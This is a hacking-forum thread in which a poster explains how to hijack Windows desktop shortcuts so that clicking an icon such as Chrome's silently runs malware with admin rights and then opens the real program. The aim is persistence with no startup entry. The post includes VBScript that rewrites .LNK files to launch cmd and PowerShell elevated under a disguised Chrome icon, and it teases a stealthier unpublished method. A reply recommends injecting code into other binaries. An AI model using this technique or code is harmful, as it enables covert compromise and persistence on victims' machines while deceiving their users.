+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Whitehat • Blue Team • Defensive Security (https://hackforums.net/forumdisplay.php?fid=448)
+---- Forum: Pentesting and Forensics (https://hackforums.net/forumdisplay.php?fid=231)
+---- Thread: persistence without any startup entry (/showthread.php?tid=6144291)
persistence without any startup entry - Joseph Ducreux - Mar 12, 2021
hijacks the desktop icons to redirect to run your malware or LOLBIN technique as admin. for example they click chrome icon on desktop and instead it runs a virus, and than the virus can than catch the request and run chrome.exe simetaneously to arouse no suspicion (or simply just appened the && and run the subsequent authentic file path), you can use DIR and FINDSTR to be able to dynamically find and hijack all .LNKS without having to guess, the cool thing about this is you can than purge the LNK hijacking once succesful to route back to their default authentic file paths and you can also gain a persistance mechanism without having ANYTHING listed on startup
I have another evidenceless persistance even more stealthier mechanism but im not sure if right now is right time to share. the following i posted below is a minimalist example, you can also directly edit .LNK's directly with wscript. i posted a bare example to ward script kiddies but with somebody that knows what they are doing this can be a very sneaky technique
.LNK hijacker /w indirect/multi/chain execution abilities, runs as admin
Code
Set objShell = WScript.CreateObject("WScript.Shell")
Set lnk = objShell.CreateShortcut("1.LNK")
lnk.TargetPath = "C:\Windows\cmd.exe"
lnk.Arguments = " /C powershell.exe -Command Start-Process chrome.exe www.apple.com -Verb RunAs"
lnk.Description = "MyProgram"
lnk.HotKey = "ALT+CTRL+F"
lnk.IconLocation = "C:\Windows\notepad.exe, 2"
lnk.WindowStyle = "1"
lnk.WorkingDirectory = "C:\Program Files\MyApp"
lnk.Save
'Clean up Set lnk = Nothing
Set objShell = WScript.CreateObject("WScript.Shell")
Set lnk = objShell.CreateShortcut("google chrome.LNK")
lnk.TargetPath = "cmd.exe"
lnk.Arguments = " /C powershell.exe -Command Start-Process chrome.exe www.apple.com -Verb RunAs"
lnk.Description = "MyProgram"
lnk.HotKey = "ALT+CTRL+Delete"
lnk.IconLocation = "%ProgramFiles% (x86)\Google\Chrome\Application\chrome.exe, 0"
lnk.WindowStyle = "1"
lnk.WorkingDirectory = "C:\Program Files\MyApp"
lnk.Save
'Clean up Set lnk = NothingRE: persistence without any startup entry - m8than - Mar 13, 2021
This shit is arguably more obvious than a startup entry. It's probably better to inject your code into some other x86 binary